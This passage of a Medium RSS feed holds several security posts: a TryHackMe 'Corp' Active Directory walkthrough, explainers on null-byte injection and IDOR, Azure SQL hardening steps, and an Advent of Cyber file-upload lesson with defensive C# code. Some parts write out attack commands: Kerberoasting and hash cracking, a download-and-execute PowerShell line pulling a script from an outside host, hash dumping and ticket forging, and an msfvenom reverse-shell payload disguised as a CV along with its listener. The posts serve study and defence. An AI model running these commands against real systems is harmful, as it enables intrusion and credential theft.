20:14<br>Completed NSE at 20:14, 0.00s elapsed<br>Read data files from: /usr/share/nmap<br>Service detection performed. Please report any incorrect results at &lt;https://nmap.org/submit/&gt; .<br>Nmap done: 1 IP address (1 host up) scanned in 108.95 seconds<br>           Raw packets sent: 2000 (87.976KB) | Rcvd: 21 (908B)</pre><p>Since <strong>Kerberos authentication (Port 88) was open</strong>, I used <strong>Impacket</strong> to enumerate <strong>Service Principal Names (SPNs)</strong> and extract <strong>Kerberos tickets</strong>.</p><pre>impacket-GetUserSPNs corp.local/dark -dc-ip 10.10.103.0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ET73pLTFEm4jHYQWtN7FWw.png" /><figcaption>User Enumeration</figcaption></figure><p>Enumerate SPNs using GetUserSPNs</p><pre>impacket-GetUserSPNs corp.local/dark -dc-ip 10.10.103.0 -request</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5rl4flEYbqVZU_NG9QIuRQ.png" /><figcaption>SPN Enumeration</figcaption></figure><p>copy the Kerberos hash and crack with Hashcat</p><pre>hashcat -m 13100 &#39;hashes.txt&#39; /usr/share/wordlist/rockyou.txt</pre><pre>find the password to user fela::rubenF124</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KYycc6MvFtw1TmsxVBDK4A.png" /><figcaption>HashCat</figcaption></figure><p>Using Remmina rdp into 10.10.103.0 with Fela creds to get the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6hd-5bSHnWf9QfvnFOY4Ow.png" /><figcaption>Flag.txt</figcaption></figure><p>Privilege Escalation</p><p>We will use a PowerShell enumeration script to examine the Windows machine. We can then determine the best way to get Administrator access.</p><p>We will run <a href="https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1">PowerUp1.ps1</a> into memory to enumerate any weaknesses to abuse for local privilege escalation.</p><pre>powershell -ep bypass;iex(New-Object Net.WebClient).DownloadString(&#39;http://YOUR_IP/PowerUp.ps1&#39;)</pre><p>The script has identified several ways to get Administrator access. The first being to bypassUAC and the second is UnattendedPath. We will be exploiting the UnattendPath way.</p><p>“Unattended Setup is the method by which original equipment manufacturers (OEMs), corporations, and other users install Windows NT in unattended mode.” Read more about it <a href="https://support.microsoft.com/en-us/topic/77504e1d-2b75-5be1-3eef-cec3617cc461">here</a>.</p><p>It is also where users&#39; passwords are stored in base64 encoding. Navigate to</p><pre>C:\\Windows\\Panther\\Unattend\\Unattended.xml.</pre><h3>Pass-the-Ticket Attack</h3><p>With <strong>Administrator privileges</strong>, I used a <strong>Pass-the-Ticket (PtT) attack</strong> to gain domain persistence:</p><p>I dumped the hash using Fela credentials and the secretsdump tool</p><pre>impacket-secretsdump fela@10.10.103.0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z_rLtdc9bwrkKpGEpQSSYQ.png" /><figcaption>Dumping Hashes</figcaption></figure><p>We move towards creating the tickets</p><p>lookupSID</p><pre>impacket-lookupsid fela@10.10.103.0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fBvEy0mJwpn2LFyqfQW_IQ.png" /><figcaption>LookUp SID</figcaption></figure><p>This command creates a ticket</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CvcrlDmBH7NilxtDv6kqwA.png" /><figcaption>PTT</figcaption></figure><pre>impacket-ticketer -nthash 282553039baf6af1231d797992eb9d88 -domain-sid S-1-5-21-2950413697-880129885-1364204576 -domain corp.local fela</pre><pre>export KRB5CCNAME=fela.ccache</pre><pre>impacket-psexec -dc-ip 10.10.103.0 -target-ip 10.10.103.0 -no-pass -k corp.local/fela@omega.corp.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O6D03E9ZbK4sexgV7bynfw.png" /><figcaption>Persistence</figcaption></figure><p>Post enumeration</p><pre>cd c:\<br>type C:\\Windows\\Panther\\Unattend\\Unattended.xml.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UOyx-dz_mxeP5Tvd4HDXfw.png" /><figcaption>Post Enumeration</figcaption></figure><h3>Key Takeaways &amp; Lessons Learned</h3><ol><li><strong>Active Directory Exploitation:</strong></li></ol><ul><li>Enumerating <strong>Service Principal Names (SPNs)</strong> and <strong>Kerberoasting</strong> remain critical attack vectors.</li><li>Weak <strong>service account passwords</strong> can lead to domain compromise.</li></ul><p><strong>2. Application Whitelisting Bypass:</strong></p><ul><li><strong>AppLocker restrictions</strong> can be bypassed using <strong>whitelisted directories</strong>.</li></ul><p><strong>3. Credential Exposure in Configuration Files:</strong></p><ul><li><strong>Unattended.xml</strong> often contains <strong>hardcoded credentials</strong>.</li></ul><h3>Recommendations &amp; Mitigations</h3><p>✔ <strong>Enforce Strong Kerberos Policies:</strong></p><ul><li>Disable <strong>unconstrained delegation</strong> to mitigate <strong>Kerberoasting attacks</strong>.</li><li>Implement <strong>strong passwords</strong> for service accounts and enforce <strong>password rotation</strong>.</li></ul><p>✔ <strong>Restrict Application Execution:</strong></p><ul><li>Configure <strong>AppLocker policies correctly</strong> and restrict execution in <strong>whitelisted directories</strong>.</li></ul><p>✔ <strong>Secure Sensitive Files:</strong></p><ul><li>Remove <strong>plaintext credentials</strong> from <strong>Unattended.xml</strong> and encrypt sensitive configurations.</li></ul><h3>Final Thoughts</h3><p>The <strong>Corp</strong> box provided valuable <strong>Active Directory penetration testing practices</strong> — including <strong>Kerberoasting, AppLocker Bypass, and Privilege Escalation</strong>. These skills are essential for <strong>real-world assessments</strong> and <strong>OSCP-level engagements</strong>.</p><p>Would love to <strong>connect with fellow security professionals</strong> — let’s discuss <strong>Windows AD security, pentesting techniques, and OSCP prep!</strong></p><p><strong>Follow me for more cybersecurity write-ups!</strong></p><p>#CyberSecurity #TryHackMe #OSCP #EthicalHacking #Pentesting</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=308a61e01bfd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Poison Null Byte]]></title>
            <link>https://medium.com/@princemcamah/poison-null-byte-4188c6e978ad?source=rss-beab7d7b6d9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4188c6e978ad</guid>
            <dc:creator><![CDATA[Prince Amah]]></dc:creator>
            <pubDate>Thu, 27 Jun 2024 10:40:55 GMT</pubDate>
            <atom:updated>2024-06-27T10:40:55.079Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey security enthusiasts! In today’s post, we’ll delve into a sneaky attacker technique: the Poison Null Byte.</p><p>Imagine a tiny character with the power to disrupt entire systems; that’s the null byte!</p><p><strong>What’s the Bite?</strong></p><p>Programs often use null bytes (\0) to mark the end of strings. Attackers can inject these bytes into user inputs, prematurely terminating the intended string and potentially tricking the program. This opens doors for various malicious activities:</p><ul><li>Directory Traversal: Navigate beyond intended folders, accessing unauthorized files or databases.</li><li>Command Injection: Sneak in malicious commands disguised as part of the original string, taking control of the system.</li><li>Hiding Malware: Append malicious code after the null byte, making it invisible during initial inspection.</li></ul><p><strong>The Attacker’s Arsenal:</strong></p><p>Imagine a web application that allows uploading profile pictures. An attacker might:</p><p>Craft a filename like “image.png%00shell.php”. The null byte terminates “image.png”, leaving “shell.php” hidden.</p><p>Upon upload, the server might interpret “shell.php” as a valid script, potentially executing malicious code.</p><p><strong>Defending Against the Bite</strong></p><p>Don’t worry, defenders have tools in their belts:</p><ul><li>Input Validation: Scrutinize user inputs, removing null bytes and other suspicious characters.</li><li>Parameterized Queries: Use these to prevent SQL injection attempts that might exploit null bytes in database interactions. ️</li><li>Secure Coding Practices: Programmers should know null-byte vulnerabilities and design functions that securely handle strings.</li></ul><p><strong>Staying Ahead of the Bite</strong></p><p>Security is an ongoing battle. By understanding Poison Null Bytes and implementing robust defenses, we can make attackers’ lives harder and protect our systems.</p><p>#SecurityAwareness #PoisonNullByte #WebSecurity</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4188c6e978ad" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Securing Azure SQL Database: Lab Steps]]></title>
            <link>https://medium.com/@princemcamah/securing-azure-sql-database-lab-steps-6eb6d6277881?source=rss-beab7d7b6d9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/6eb6d6277881</guid>
            <dc:creator><![CDATA[Prince Amah]]></dc:creator>
            <pubDate>Mon, 20 Nov 2023 17:31:30 GMT</pubDate>
            <atom:updated>2023-11-20T17:31:30.580Z</atom:updated>
            <content:encoded><![CDATA[<p>🖥️ Task 1: Sign in to Azure Portal</p><ul><li>Visit the Azure portal using the Open Console button or <a href="https://portal.azure.com/">portal.azure.com</a>.</li><li>Sign in with provided credentials.</li><li>For optimal performance, use incognito mode.</li></ul><p>🚀 Task 2: Deploy an Azure SQL Database</p><ol><li>Search “Deploy a custom template” in the portal.</li><li>Click “Build your own template in the editor.”</li><li>Download azuredeploy.json, upload it, and save.</li><li>Enter details: Resource group (rg_eastus_XXXXX), Region (US East).</li><li>Click “Review + create” and then “Create.”</li></ol><p>🛡️ Task 3: Configure Advanced Data Protection</p><ol><li>Go to the resource group and select your SQL server.</li><li>In Security, click “Microsoft Defender for Cloud.”</li><li>Enable Microsoft Defender for SQL.</li><li>Refresh the page after seeing the notification.</li><li>Click “(configure)” in Enablement Status.</li><li>Review settings, go back to Defender for Cloud, and monitor recommendations and alerts.</li></ol><p>📊 Task 4: Configure Data Classification</p><ol><li>In SQL server settings, select SQL Databases and choose your database.</li><li>In Security, click “Data Discovery &amp; Classification.”</li><li>Select the Classification tab and click “+ Add classification.”</li><li>Add classifications for schema, table, column, info type, and sensitivity label.</li><li>Save and check the updated overview on the Data Discovery &amp; Classification blade.</li></ol><p>🔍 Task 5: Configure Auditing</p><ol><li>Navigate to SQL server &gt; Security &gt; Auditing.</li><li>Enable Azure SQL Auditing, set up storage, and specify retention.</li><li>View audit logs in SQL Databases &gt; Auditing.</li></ol><p>🚀 Congratulations! You’ve successfully secured your Azure SQL Database.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6eb6d6277881" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Application Security ]]></title>
            <link>https://medium.com/@princemcamah/application-security-f75e108a2d15?source=rss-beab7d7b6d9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/f75e108a2d15</guid>
            <dc:creator><![CDATA[Prince Amah]]></dc:creator>
            <pubDate>Thu, 20 Jul 2023 19:47:38 GMT</pubDate>
            <atom:updated>2023-07-20T19:47:38.955Z</atom:updated>
            <content:encoded><![CDATA[<p>Elements of Applications on Android Platform 📱</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tgexyUUOawIH6qs0FTYXDw.png" /></figure><p>Android provides a versatile and open-source platform for mobile devices, running on the Linux kernel. The core of Android applications is typically written in Java and executed in the Dalvik virtual machine. However, native code can also be used for application development. Applications are packaged as .apk files and installed on devices.</p><p>Key Building Blocks of Android Applications:</p><p>📋 AndroidManifest.xml: The AndroidManifest.xml file serves as the control center for an application, guiding the system on how to handle various components. These components include activities, services, broadcast receivers, and content providers. Additionally, the manifest defines the necessary permissions required for the app’s functionalities.</p><p>🏗️ Activities: Activities represent individual user-focused tasks and form the core building blocks of the application’s logic. They often interact with the user by presenting a user interface (UI). While most activities display UI elements, some may not. Typically, one of the application’s activities serves as the entry point.</p><p>🔄 Services: Services are essential components that run in the background, independently of the UI. They can either operate within their own process or within the context of another application’s process. Other application components can “bind” to a service and interact with it through remote procedure calls (RPC). An example of a service is a media player, which continues playing music even if the user switches away from the media UI.</p><p>📡 Broadcast Receivers: Broadcast Receivers are objects that listen for Intents, a form of inter-process communication (IPC) mechanism, issued by the operating system or other applications. By registering a receiver, an application can respond to specific events, such as low battery messages, and adjust its behavior accordingly.</p><p>Understanding the fundamental components of Android applications is crucial for ensuring their security and robustness. By implementing proper security measures and adhering to best practices, developers can safeguard applications from potential threats and vulnerabilities.</p><p>#ApplicationSecurity #AndroidDevelopment #MobileApps #Cybersecurity #SoftwareDevelopment</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f75e108a2d15" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackme Advent Of Cyber 2022 Key Takeouts For Day 15]]></title>
            <link>https://medium.com/@princemcamah/tryhackme-advent-of-cyber-2022-key-takeouts-for-day-15-74bd8453ad0f?source=rss-beab7d7b6d9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/74bd8453ad0f</guid>
            <dc:creator><![CDATA[Prince Amah]]></dc:creator>
            <pubDate>Fri, 16 Dec 2022 19:07:42 GMT</pubDate>
            <atom:updated>2022-12-16T19:07:42.452Z</atom:updated>
            <content:encoded><![CDATA[<p>Day 15</p><p>Input Validation</p><p>Insufficient input validation is one of the biggest security concerns for web applications. The issue occurs when user-provided input is inherently trusted by the application. Since user input can also be controlled by an attacker, we can see how this inherent trust can lead to many problems. Several web application vulnerabilities, such as SQL Injection, Cross Site Scripting, and Unrestricted File Upload, stem from the issue of insufficient user input validation. This task will focus on how insufficient input validation can lead to an Unrestricted File Upload vulnerability.</p><p>Learning Objectives</p><ul><li>Input validation of file upload functionality</li><li>Unrestricted file upload vulnerabilities</li><li>Phishing through file uploads</li><li>How to properly secure file upload functionality</li></ul><p>The <em>Unrestricted</em> in Unrestricted File Uploads</p><p>The ability to upload files to a server has become integral to how we interact with web applications. Just think of file uploads like a profile picture for a social media website, a report being uploaded to cloud storage, or saving a project on GitHub; the applications for file upload features are limitless.</p><p>Unfortunately, when poorly handled, file uploads can also open up severe vulnerabilities in the server. This can lead to anything from relatively minor nuisance problems; all the way up to full Remote Code Execution (RCE) if an attacker manages to upload and execute a shell. With unrestricted upload access to a server (and the ability to retrieve data at will), an attacker could deface or otherwise alter existing content — up to and including injecting malicious webpages, which lead to further vulnerabilities such as Cross-Site Scripting (XSS) or Cross-Site Request Forgery (CSRF). By uploading arbitrary files, an attacker could potentially use the server to host and/or serve illegal content or to leak sensitive information. Realistically speaking, an attacker with the ability to upload a file of their choice to your server — with no restrictions — is very dangerous indeed.</p><p>Unrestricted File Uploads usually have two main exploitation paths:</p><ul><li>If the attacker can retrieve the uploaded file, it could lead to code execution if the attacker uploads a file such as a web shell.</li><li>If the file is viewed by a user, think of a CV application, then an attacker could embed malware in the uploaded file that would execute on the user’s workstation once they view the file.</li></ul><p>There has been quite a lot of focus on RCE through web shells in previous rooms, so in this task, we will focus on the latter exploitation path.</p><p>Santa is Looking for a Sidekick</p><p>Santa is looking to hire new staff for his security team and has hired a freelance developer to create a web application where potential candidates can upload their CVs. Elf McSkidy is aware that third-party risks can be serious and has tasked you, Exploit McRed, with testing this application before it goes live. Since the festivities are right around the corner, we will have to focus on the core feature of the website, namely the ability to upload a CV.</p><p>Elf McSkidy has provided you with the latest version of the application. Start the machine attached to this task to load the website. Once loaded (roughly 2 minutes), you can navigate to <a href="http://machine_ip/">http://MACHINE_IP/</a> to view the website, using either the AttackBox or your TryHackMe VPN connection:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jZMXHuV5vSkFQtH6.png" /></figure><p>As we can see, the website allows us to upload our CVs to apply for a job in Santa’s security team. Before we start the actual testing, let’s first try to use the website as intended to get a better understanding of what is happening. Using your favorite word editor, create a simple new PDF and upload it to the application. Once uploaded, we can see the following message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*glxCde9Od0VF07Eg.png" /></figure><p>Interesting! The message also tells us that there will be human (or elf, more specifically) interaction with the file. This calls for further investigation!</p><p>Let’s see what happens when we try to upload something other than a PDF, like an executable. You can rename the file extension of your CV to EXE:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TaQtyZoCt2rkwTQ_.png" /></figure><p>That seems to work! It seems like the freelance developer has attempted to implement some security controls to prevent naughty elves. However, not all controls were implemented. But can we actually do something with this that will be malicious?</p><p>Why the fuss over the Web Root?</p><p>So why would the developer take care to store the file outside the web root? Web servers are fairly simple things. You request a resource and the web server then responds with the resource. The magic happens when a request resource has a specific file type. Since this is a .NET application, the following resource types would be considered special:</p><ul><li>ASP</li><li>ASPX</li><li>CSHTML</li></ul><p>When a resource is requested with one of these file types, the web server will first execute some instructions found in these pages before sending the compiled response back to the user. Here is an example of an ASPX instruction that would be executed by the server:</p><pre>&lt;form id=&quot;Form1&quot; method=&quot;post&quot; runat=&quot;server&quot; EncType=&quot;multipart/form-data&quot; action=&quot;Upload.aspx&quot;&gt;</pre><p>This tells the server that the HTML element first requires some formatting before being added to the HTML in the response, as can be seen by therunat=&quot;server&quot; directive.</p><p>If we could upload any file that we wanted, we could upload one of these special types of pages, like an ASPX web shell. If this file was stored in the web root, we could request the file from the server, forcing the server to execute the code within our file before sending the response. It would be possible to get remote code execution on the web server. However, as the file is stored outside of the web root, we cannot make a request that would retrieve our uploaded file for execution. However, this protection is not sufficient for two main reasons:</p><ul><li>Other vulnerabilities, such as local file inclusion, may exist that allow us to force the web server itself to recover the file that was stored outside the web root. If the web server recovers the file, the code within the file will again be executed, allowing for RCE.</li><li>While we cannot perhaps get RCE using this vulnerability, we know with certainty that actual users would interact with the files that we upload. Rather than targeting the web server directly, we could target the users that would interact with these files. If we were to upload a file that had malware embedded, it would execute when the user interacted with the file, still allowing us to breach Santa’s perimeter!</li></ul><p>Shell from Santa</p><p>Let’s try to target one of Santa’s elves that would be reviewing the uploaded CVs. In most cases, we would have to be quite creative with the malware that we upload, especially since this is for an application to a security role! This will require us to create a CV with a malicious macro embedded. However, since we are on Santa’s red team and this is a security assessment, we only need to show proof of concept. Let’s use Metasploit to generate a malicious CV:</p><p>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=&quot;Listening port&quot; -f exe -o cv-username.exe</p><p>You can then also use the following to create the associated listener in the msfconsole:</p><p>sudo msfconsole -q -x &quot;use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT &#39;listening port&#39;; exploit&quot;</p><p>Once we have our CV, we can upload the file again. Once uploaded, give it a few minutes, and one of those elves should be reviewing our CV:</p><pre>[*] Started reverse handler on 10.50.1.120:4444 [*] Starting the payload handler... [*] Sending stage (770048 bytes) to 10.10.1.20 [*] Meterpreter session 1 opened (10.50.1.120:4444 -&gt; 10.10.1.20:1138) at 2022-10-22 19:03:43 -0500 meterpreter &gt;</pre><p>This is sufficient for a proof of concept for Elf McSkidy to take to Santa and request that additional security controls must be implemented on the application! Using your shell, go read the flag from the specific elf’s home directory.</p><p>Properly Securing File Uploads</p><p>To adequately secure the file upload feature, we will need to implement layers of defense. In this task, we will use a C# file upload as the case study. C# is a popular language used to create both Windows applications and web applications at large organizations. Let’s look at our base file upload function first:</p><p>Upload.cshtml</p><pre>public IActionResult OnPostUpload(FileUpload fileUpload)<br>    {   <br>        var fullPath = &quot;D:\CVUploads\&quot;<br>        var formFile = fileUpload.FormFile;<br>        var filePath = Path.Combine(fullPath, formFile.FileName);</pre><pre>        using (var stream = System.IO.File.Create(filePath))<br>            {<br>                formFile.CopyToAsync(stream);<br>            }<br>    }</pre><p>As we can see, the developer made sure to store the CV outside the web root by setting the full path to a different drive (D:\CVUploads). However, this is not sufficient. Let’s take a look at what additional controls can be implemented:</p><p>File Content Validation</p><p>We can validate the content of the file by reviewing the ContentType header that is sent by the browser when a file is uploaded:</p><p>Upload.cshtml</p><pre>string contentType = fileUpload.ContentType.Split(&#39;/&#39;)[1].ToLower();<br>if !(contentType.equals(&quot;ContentType=PDF&quot;)<br>    {<br>        allowed = False;<br>    }</pre><p>If the file content type is not PDF, we will reject the file. While this is a good control, it should be noted that since the browser sets this header, an attacker could bypass this control by intercepting the request and changing the header.</p><p>File Extension Validation</p><p>We can also verify the file extension. This will allow us to limit the type of files that can be uploaded. We can therefore add the following lines to our code:</p><p>Upload.cshtml</p><pre>string contentExtension = Path.GetExtension(fileUpload);<br>if !(contentExtension.equals(&quot;PDF&quot;))<br>    {<br>        allowed = False;<br>    }</pre><p>This will limit the file types to only PDFs. If a user’s CV is in a different format, they will have to convert their CV first. This control should ideally be implemented with an allowlist, as shown above since a blocklist can still be bypassed in certain cases.</p><p>File Size Validation</p><p>Attackers can also try to upload files that are so large it consumes so much disk space that other potential candidates are not able to upload their CVs. To prevent this, we can implement file size validation controls:</p><p>Upload.cshtml</p><pre>int contentSize = fileUpload.ContentLength;<br>//10Mb max file size<br>int maxFileSize = 10 * 1024 * 1024<br>if (contentSize &gt; maxFileSize)<br>    {<br>        allowed = False;<br>    }</pre><p>This will only allow file sizes smaller than the specified amount.</p><p>File Renaming</p><p>As mentioned before, even though our uploads are stored outside the web root, an attacker could leverage an additional vulnerability, such as file inclusion, to execute the file. To counter these attempts, we can look to rename uploaded files to random names, making it almost impossible for an attacker to recover their file by name:</p><p>Upload.cshtml</p><pre>Guid id = Guid.NewGuid();<br>var filePath = Path.Combine(fullPath, id + &quot;.pdf&quot;);</pre><p>Malware Scanning</p><p>Even with all of the above controls implemented, there is still the risk of an attacker uploading a malicious file that targets the elves that will review the CVs. Since Santa is a high-value individual, some nation-states might even use specialized exploits found in PDF readers to upload a malicious PDF in the hopes of getting access to remove themselves from Santa’s naughty list! In order to combat these types of malicious files, we can scan uploaded files for malware. We can install a package such as ClamAV and use it to scan the contents of each uploaded file:</p><p>Upload.cshtml</p><pre>var clam = new ClamClient(this._configuration[&quot;ClamAVServer:URL&quot;],Convert.ToInt32(this._configuration[&quot;ClamAVServer:Port&quot;])); <br>var scanResult = await clam.SendAndScanFileAsync(fileBytes);  <br>  <br>if (scanResult.Result == ClamScanResults.VirusDetected)<br>    {<br>        allowed = False;<br>    };</pre><p>Putting it all Together</p><p>Combining all of the above techniques, we can implement a secure file upload function, as shown below:</p><p>Upload.cshtml</p><pre>public IActionResult OnPostUpload(FileUpload fileUpload)<br>    {<br>        var allowed = True;</pre><pre>        //Store file outside the web root   <br>        var fullPath = &quot;D:\CVUploads\&quot;</pre><pre>        var formFile = fileUpload.FormFile;</pre><pre>        //Create a GUID for the file name<br>        Guid id = Guid.NewGuid();<br>        var filePath = Path.Combine(fullPath, id + &quot;.pdf&quot;);</pre><pre>        //Validate the content type<br>        string contentType = fileUpload.ContentType.Split(&#39;/&#39;)[1].ToLower();<br>        if !(contentType.equals(&quot;ContentType=PDF&quot;)<br>            {<br>                allowed = False;<br>            }</pre><pre>       //Validate the content extension<br>       string contentExtension = Path.GetExtension(fileUpload);<br>       if !(contentExtension.equals(&quot;PDF&quot;))<br>           {<br>               allowed = False;<br>           }</pre><pre>       //Validate the content size<br>       int contentSize = fileUpload.ContentLength;<br>       //10Mb max file size<br>       int maxFileSize = 10 * 1024 * 1024<br>       if (contentSize &gt; maxFileSize)<br>           {<br>               allowed = False;<br>           }</pre><pre>       //Scan the content for malware<br>       var clam = new ClamClient(this._configuration[&quot;ClamAVServer:URL&quot;],Convert.ToInt32(this._configuration[&quot;ClamAVServer:Port&quot;])); <br>       var scanResult = await clam.SendAndScanFileAsync(fileBytes);  <br>  <br>       if (scanResult.Result == ClamScanResults.VirusDetected)<br>           {<br>                allowed = False;<br>           };</pre><pre>       //Only upload if all checks are passed<br>       if (allowed)<br>       {<br>            using (var stream = System.IO.File.Create(filePath))<br>                {<br>                    formFile.CopyToAsync(stream);<br>                }<br>       }<br>    }</pre><p>All of these controls are required for the simple reason that we cannot inherently trust user input. As such, user input must be validated and controlled! Sending this feedback to the freelance developer will allow them to secure the file upload feature!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74bd8453ad0f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackme Advent Of Cyber 2022 Key Takeouts For Day 14]]></title>
            <link>https://medium.com/@princemcamah/tryhackme-advent-of-cyber-2022-key-takeouts-for-day-14-e87be62d067d?source=rss-beab7d7b6d9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/e87be62d067d</guid>
            <dc:creator><![CDATA[Prince Amah]]></dc:creator>
            <pubDate>Fri, 16 Dec 2022 14:47:14 GMT</pubDate>
            <atom:updated>2022-12-16T14:47:14.490Z</atom:updated>
            <content:encoded><![CDATA[<p>Day 14</p><p>Web Applications</p><h3>Learning Objectives</h3><ul><li>Web Applications</li><li>The Open Web Application Security Project (OWASP) Top 10</li><li>IDOR</li></ul><h3>Web Application</h3><p>A web application is a piece of software that we can use via a web browser. Unlike computer programs and smartphone applications, a web application does not require any installation on the user’s system to make use of it. To use a web application, we only need a web browser, such as Firefox, MS Edge, Google Chrome, or Safari.</p><p>There are many advantages for the user. Because it only needs a web browser, a user can access a web application from a Microsoft Windows system, a Mac computer, or a Linux system. If the user can use a modern web browser, they can access the web application. They will be able to see the same interface and enjoy a very similar experience even with different systems. They can even access the same web application from a web browser on their smartphones, and their experience would only be affected by the screen size and what it can hold.</p><p>Moreover, there are many advantages for the software developer. Instead of developing an application for macOS, another for MS Windows, and a third for ChromeOS, they only need to build one web application and ensure that it is compatible with the different modern browsers.</p><p>The following are some examples of popular web applications:</p><ul><li><strong>Webmail:</strong> Examples include Tutanota, ProtonMail, StartMail, and Gmail.</li><li><strong>Online Shopping:</strong> Some examples are Etsy, Amazon, eBay, and AliExpress.</li><li><strong>Online Banking:</strong> Modern banks increasingly allow clients to carry out their banking operations from a web browser.</li><li><strong>Online Office Suite:</strong> Consider, for instance, Microsoft Office 365, Zoho Office, and Google Drive.</li></ul><p>As web technologies advance, the number and types of web applications keep increasing.</p><h3>Database</h3><p>When discussing web applications, it is essential to mention database systems. Many web applications need to access vast amounts of data. Even the most basic online shopping web application requires saving information about available products, customer details, and purchases. We must find a solution to hold such information and to read from and write to the existing data efficiently. The answer lies in using a database system.</p><p>There are two popular database models:</p><ul><li>Relational Database: It stores the data in tables. Tables can share information. Consider the basic example with three tables: products, customer_details, and purchases. The purchases table would use information from the products table.</li><li>Non-Relational Database: It is any database that does not use tables. It might store the data in documents, and graph nodes, among other types.</li></ul><p>Generally speaking, a web application needs to constantly query the database, for example, to search for information, add new records, or update existing ones.</p><h3>Access Control</h3><p>Consider the case where you are using an online shop as a customer. After logging in successfully, you should be able to browse the available products and check products’ details and prices, among other things. Depending on the online shop, you might be able to add a question or a review about the product; however, as a customer, you should not be able to change the price or details. That’s due to access control.</p><p>Access control is a security element that determines who can access certain information and resources. After authentication (covered in Day 5), access control enforces the appropriate access level. In the online shopping example, a vendor should be able to update the prices or descriptions of their products. However, they should not be able to modify the information related to other vendors. A customer, on the other hand, should be able to view but should not be able to alter the data.</p><p>However, due to various programming or design mistakes, access control is sometimes not appropriately imposed.</p><h3>Web Application Vulnerabilities</h3><p>The OWASP was established to improve software security. The <a href="https://owasp.org/Top10/">OWASP Top 10</a> list aims to raise awareness regarding common security issues that plague web applications. This list would help software developers avoid common mistakes to build more secure products. Other users, such as penetration testers and bug bounty hunters, can use this list to serve their purposes.</p><p>IDOR refers to the situation where a user can manipulate the input to bypass authorization due to poor access control. IDOR was the fourth on the OWASP Top 10 list in 2013 before it was published under Broken Access Control in 2017. To learn more about IDOR, consider the following examples.</p><p>Let’s say that a user of ID 132 is directed to the following URL after logging in to the system: http://santagift.shop/account/user_id=132. However, they soon discover that they can browse other users’ profiles by changing the user_id value from 132 to other values expected to match existing user IDs. Although the system should deny them access to the new URL due to lack of authorization, an IDOR vulnerability will let the user display such unauthorized pages. In the figure below, the user managed to access the user’s account page with the ID 101.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5C4gEnqy5E9UAzoa.png" /></figure><p>Consider the example where requesting an invoice generates a link similar to this: http://santagift.shop/invoices?download=115. To test for vulnerabilities, one would replace 115 with another number, as shown in the image below. The system is vulnerable if it lets them access other users’ invoices.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tgmanLwIWqEyRcp8.png" /></figure><p>The impact of an IDOR vulnerability might let you reset the password of another user. For instance, after logging in, a malicious user might start with the URL to change their password and replace their username with that of another user. For example, the attacker would replace their username yeti in the URL http://santagift.shop/account/changepassword=yeti with another valid username and attempt to change their password, as shown in the figure below. The impact of an IDOR vulnerability can be high.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e87be62d067d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackme Advent Of Cyber 2022 Key Takeouts For Day 13]]></title>
            <link>https://medium.com/@princemcamah/tryhackme-advent-of-cyber-2022-key-takeouts-for-day-13-6358681de931?source=rss-beab7d7b6d9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/6358681de931</guid>
            <dc:creator><![CDATA[Prince Amah]]></dc:creator>
            <pubDate>Fri, 16 Dec 2022 13:37:38 GMT</pubDate>
            <atom:updated>2022-12-16T13:37:38.959Z</atom:updated>
